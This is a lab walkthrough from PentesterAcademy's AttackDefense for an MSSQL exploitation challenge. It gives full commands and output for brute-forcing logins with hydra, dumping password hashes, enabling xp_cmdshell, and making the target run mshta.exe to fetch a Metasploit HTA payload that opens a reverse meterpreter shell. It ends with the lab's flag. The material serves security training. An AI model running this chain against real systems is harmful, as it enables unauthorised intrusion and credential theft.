
ATTACK
DEFENSE
by PentesterAcademy

Name	MSSQL: CrackMapExec
URL	https://attackdefense.com/challengedetails?cid=2321
Type	Windows Service Exploitation: MSSQL

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the "**target**" file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.27.225
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.27.225

```
root@attackdefense:~# nmap 10.0.27.225
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-25 12:11 IST
Nmap scan report for 10.0.27.225
Host is up (0.057s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.81 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will be focusing on port 1433 where the MSSQL server is running.

Running ms-sql-info Nmap script to discover MSSQL server information.

Command: nmap --script ms-sql-info -p 1433 10.0.27.225

```
root@attackdefense:~# nmap --script ms-sql-info -p 1433 10.0.27.225
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-25 12:12 IST
Nmap scan report for 10.0.27.225
Host is up (0.074s latency).

PORT     STATE SERVICE
1433/tcp open  ms-sql-s

Host script results:
| ms-sql-info:
|   10.0.27.225:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
root@attackdefense:~#
```

We have found that the target is running "**Microsoft SQL Server 2019**".

Step 4: We will run a hydra tool to find all the valid MSSQL users and their passwords.

Command: hydra -L /root/Desktop/wordlist/common_users.txt -P /root/Desktop/wordlist/100-common-passwords.txt 10.0.27.225 mssql

```
root@attackdefense:~# hydra -L /root/Desktop/wordlist/common_users.txt -P /root/Desktop/wordlist
/100-common-passwords.txt 10.0.27.225 mssql
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret
 service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and
ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-25 12:12:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 800 login tries (l:8/p:100), ~50 tries per t
ask
[DATA] attacking mssql://10.0.27.225:1433/
[1433][mssql] host: 10.0.27.225   login: admin   password: joshua1
[1433][mssql] host: 10.0.27.225   login: dbadmin   password: beckham
1 of 1 target successfully completed, 2 valid passwords found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-25 12:13:10
root@attackdefense:~#
```

We have found three valid users and their passwords. We will use crackmapexec tool for post-exploitation.

Step 5: We will use the admin user to run windows commands on the target machine using crackmapexec.

Command: crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -x ipconfig

```
root@attackdefense:~# crackmapexec mssql 10.0.27.225  --local-auth -u admin -p joshua1 -x ipconfig
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [*] Windows 10.0 Build 14393 (name:MSSQL-SERVER) (domain:MSSQL-SERVER)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [+] admin:joshua1 (Pwn3d!)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [+] Executed command via mssqlexec
MSSQL       10.0.27.225     1433   MSSQL-SERVER     -------------------------------------------------------------------------------
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Windows IP Configuration
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Ethernet adapter Ethernet:
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Link-local IPv6 Address . . . . . : fe80::15f4:f5d0:4cae:cda1%3
MSSQL       10.0.27.225     1433   MSSQL-SERVER     IPv4 Address. . . . . . . . . . . : 10.0.27.225
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Subnet Mask . . . . . . . . . . . : 255.255.240.0
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Default Gateway . . . . . . . . . : 10.0.16.1
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Tunnel adapter Local Area Connection* 3:
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Connection-specific DNS Suffix  . :
MSSQL       10.0.27.225     1433   MSSQL-SERVER     IPv6 Address. . . . . . . . . . . : 2001:0:2851:782c:2c41:3a73:f5ff:e41e
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Link-local IPv6 Address . . . . . : fe80::2c41:3a73:f5ff:e41e%6
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Default Gateway . . . . . . . . . : ::
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Tunnel adapter isatap.ap-southeast-1.compute.internal:
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Media State . . . . . . . . . . . : Media disconnected
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
root@attackdefense:~#
```

Step 6: Discover all the present databases

Command: crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q 'SELECT name FROM master.dbo.sysdatabases;'

```
root@attackdefense:~# crackmapexec mssql 10.0.27.225  --local-auth -u adm
in -p joshua1 -q 'SELECT name FROM master.dbo.sysdatabases;'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [*] Windows 10.0 Buil
d 14393 (name:MSSQL-SERVER) (domain:MSSQL-SERVER)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [+] admin:joshua1 (Pw
n3d!)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     name
MSSQL       10.0.27.225     1433   MSSQL-SERVER     ----------------------
------------------------------------------------------------------------
----------------------------------
MSSQL       10.0.27.225     1433   MSSQL-SERVER     master
MSSQL       10.0.27.225     1433   MSSQL-SERVER     tempdb
MSSQL       10.0.27.225     1433   MSSQL-SERVER     model
MSSQL       10.0.27.225     1433   MSSQL-SERVER     msdb
root@attackdefense:~#
```

There are a total of four databases i.e master, tempdb, model, msdb.

Step 7: Discover all the users hashes

Command: crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q 'select name, password_hash FROM master.sys.sql_logins;'

```
root@attackdefense:~# crackmapexec mssql 10.0.27.225  --local-auth -u admin -p joshua1 -q 'select name, password_hash FROM master.sys.sql_logins;'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [*] Windows 10.0 Build 14393 (name:MSSQL-SERVER) (domain:MSSQL-SERVER)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [+] admin:joshua1 (Pwn3d!)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     name
MSSQL       10.0.27.225     1433   MSSQL-SERVER     password_hash
MSSQL       10.0.27.225     1433   MSSQL-SERVER     --------------------------------------------------------------------------------------------------------------
--------------------------------
MSSQL       10.0.27.225     1433   MSSQL-SERVER     --------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------
MSSQL       10.0.27.225     1433   MSSQL-SERVER     sa
MSSQL       10.0.27.225     1433   MSSQL-SERVER     b'0200349fff1bf258e0f0f44eca04868c7b16739cf9a87a26d339c9815c87b6a63585ac5423d9e8477be9d06d296e
81409dc6bf6123ec679040c10124b37bdd134565b5578cd7'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     ##MS_PolicyEventProcessingLogin##
MSSQL       10.0.27.225     1433   MSSQL-SERVER     b'0200191cf079f310fb475527ac320aba7a4e8d5c3567bef2462b96ce8a8629b7f986ed344aa0963ac3a096da7705
6dad77a457644431282e2aa2c2243bc635abc6bb5f52552c'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     ##MS_PolicyTsqlExecutionLogin##
MSSQL       10.0.27.225     1433   MSSQL-SERVER     b'0200677385acfe08bb1119246cf20f9d17c3a0d86bbb1d48874725f2c2e0e021260b885d0ba067427e09afad9079
e6759ad6497ee7f1ef3cd497d500585d7727eeba64426083'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     admin
MSSQL       10.0.27.225     1433   MSSQL-SERVER     b'02003bec5ebe0fabda58b28d357b67df9e671928314ad281d70f130577d19fac188c78f045552e0a279b648a6211
287fd54efae84dc49ff821f0c90c6e143c649fcc1a6b85c5'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     dbadmin
MSSQL       10.0.27.225     1433   MSSQL-SERVER     b'02007849ac707dd869381a5a980e5b44fed3b954b01b93bc49ecf35fe84ff9fc60666009883d3fb2f4952abc4944
8b89fb37553accca59a932b1bc3b91b5763a365355965ee7'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Mssql
MSSQL       10.0.27.225     1433   MSSQL-SERVER     b'02005f7a4b6ef6d95ac2bfe101ef36e26adac134664e17c9b8d185a401a5b973372b101a7d5ed1a73e640543e785
431ddabfde5a887b6adf8c96737754b6423598b6c915f072'
root@attackdefense:~#
```

Step 8: Determine users with sysadmin rights

Command: crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q 'select loginname from syslogins where sysadmin = 1;'

```
root@attackdefense:~# crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q 'select loginname from syslogins where sysadmin = 1;'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [*] Windows 10.0 Build 14393 (name:MSSQL-SERVER) (domain:MSSQL-SERVER)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [+] admin:joshua1 (Pwn3d!)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     loginname
MSSQL       10.0.27.225     1433   MSSQL-SERVER     --------------------------------------------------------------------------------------------------------------
--------------------------------
MSSQL       10.0.27.225     1433   MSSQL-SERVER     sa
MSSQL       10.0.27.225     1433   MSSQL-SERVER     EC2AMAZ-5861GL6\Administrator
MSSQL       10.0.27.225     1433   MSSQL-SERVER     NT SERVICE\SQLWriter
MSSQL       10.0.27.225     1433   MSSQL-SERVER     NT SERVICE\Winmgmt
MSSQL       10.0.27.225     1433   MSSQL-SERVER     NT Service\MSSQL$SQLEXPRESS
MSSQL       10.0.27.225     1433   MSSQL-SERVER     NT AUTHORITY\SYSTEM
MSSQL       10.0.27.225     1433   MSSQL-SERVER     admin
MSSQL       10.0.27.225     1433   MSSQL-SERVER     dbadmin
MSSQL       10.0.27.225     1433   MSSQL-SERVER     Mssql
root@attackdefense:~#
```

Similarly, we can craft an MSSQL query to enumerate the databases and MSSQL configuration.

In this challenge, we are going to exploit the target to gain a remote shell on the Metasploit framework.

Step 9: Enable the xp_cmdshell on the target MSSQL.

Command: crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q 'EXEC sp_configure "show advanced options", 1;RECONFIGURE;exec SP_CONFIGURE "xp_cmdshell", 1;RECONFIGURE'

```
root@attackdefense:~# crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q
 'EXEC sp_configure "show advanced options", 1;RECONFIGURE;exec SP_CONFIGURE "xp_cmdshel
l", 1;RECONFIGURE'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [*] Windows 10.0 Build 14393 (name:M
SSQL-SERVER) (domain:MSSQL-SERVER)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [+] admin:joshua1 (Pwn3d!)
root@attackdefense:~#
```

Step 10: Execute a command using xp_cmdshell.

Command: crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q 'EXEC xp_cmdshell "whoami"'

```
root@attackdefense:~# crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q
 'EXEC xp_cmdshell "whoami"'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [*] Windows 10.0 Build 14393 (name:M
SSQL-SERVER) (domain:MSSQL-SERVER)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [+] admin:joshua1 (Pwn3d!)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     output
MSSQL       10.0.27.225     1433   MSSQL-SERVER     ----------------------------------
----------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------
----------------------------------------
MSSQL       10.0.27.225     1433   MSSQL-SERVER     nt service\mssql$sqlexpress
root@attackdefense:~#
```

We are running as an ‘nt service\mssql$sqlexpress’

Step 11: Running msfconsole

Command: msfconsole -q

```
root@attackdefense:~# msfconsole -q
msf6 >
```

Step 12: Run hta server on metasploit framework.

Command:
use exploit/windows/misc/hta_server
exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.15.3:4444
[*] Using URL: http://0.0.0.0:8080/qCWC5n4XRcm.hta
[*] Local IP: http://10.10.15.3:8080/qCWC5n4XRcm.hta
[*] Server started.
msf6 exploit(windows/misc/hta_server) >
```

Step 13: Execute malicious hta server link on the target machine via MSSQL xp_cmdshell to gain a meterpreter session.

Command: crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q 'EXEC xp_cmdshell "**mshta.exe http://10.10.15.3:8080/qCWC5n4XRcm.hta**"'

```
root@attackdefense:~# crackmapexec mssql 10.0.27.225 --local-auth -u admin -p joshua1 -q
 'EXEC xp_cmdshell "mshta.exe http://10.10.15.3:8080/qCWC5n4XRcm.hta"'
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [*] Windows 10.0 Build 14393 (name:M
SSQL-SERVER) (domain:MSSQL-SERVER)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     [+] admin:joshua1 (Pwn3d!)
MSSQL       10.0.27.225     1433   MSSQL-SERVER     output
MSSQL       10.0.27.225     1433   MSSQL-SERVER     ----------------------------------
----------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------
----------------------------------------
root@attackdefense:~#
```

Success!

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.15.3:4444
[*] Using URL: http://0.0.0.0:8080/qCWC5n4XRcm.hta
[*] Local IP: http://10.10.15.3:8080/qCWC5n4XRcm.hta
[*] Server started.
msf6 exploit(windows/misc/hta_server) > [*] 10.0.27.225      hta_server - Delivering Pay
load
[*] Sending stage (175174 bytes) to 10.0.27.225
[*] Meterpreter session 1 opened (10.10.15.3:4444 -> 10.0.27.225:49717) at 2021-03-25 12
:17:25 +0530
```

Step 14: Read the flag.txt

Commands: session -i 1
shell
cd /
dir
cat flag.txt

```
msf6 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
```

```
msf6 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3052 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd /
cd /

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 147C-E1FD

 Directory of C:\

01/28/2021  06:57 AM                32 flag.txt
02/23/2018  11:06 AM    <DIR>          PerfLogs
03/25/2021  05:03 AM    <DIR>          Program Files
03/25/2021  05:03 AM    <DIR>          Program Files (x86)
01/20/2021  07:17 AM    <DIR>          Users
01/20/2021  06:25 AM    <DIR>          Windows
               1 File(s)             32 bytes
               5 Dir(s)  15,083,511,808 bytes free

C:\>type flag.txt
type flag.txt
675d2f4f61fbd867929f00a517757339
C:\>
```

Flag: 675d2f4f61fbd867929f00a517757339

1. MSSQL (https://www.microsoft.com/en-in/sql-server/sql-server-2019)
2. HTA Web Server (https://www.rapid7.com/db/modules/exploit/windows/misc/hta_server/)
3. CrackMapExec (https://github.com/byt3bl33d3r/CrackMapExec)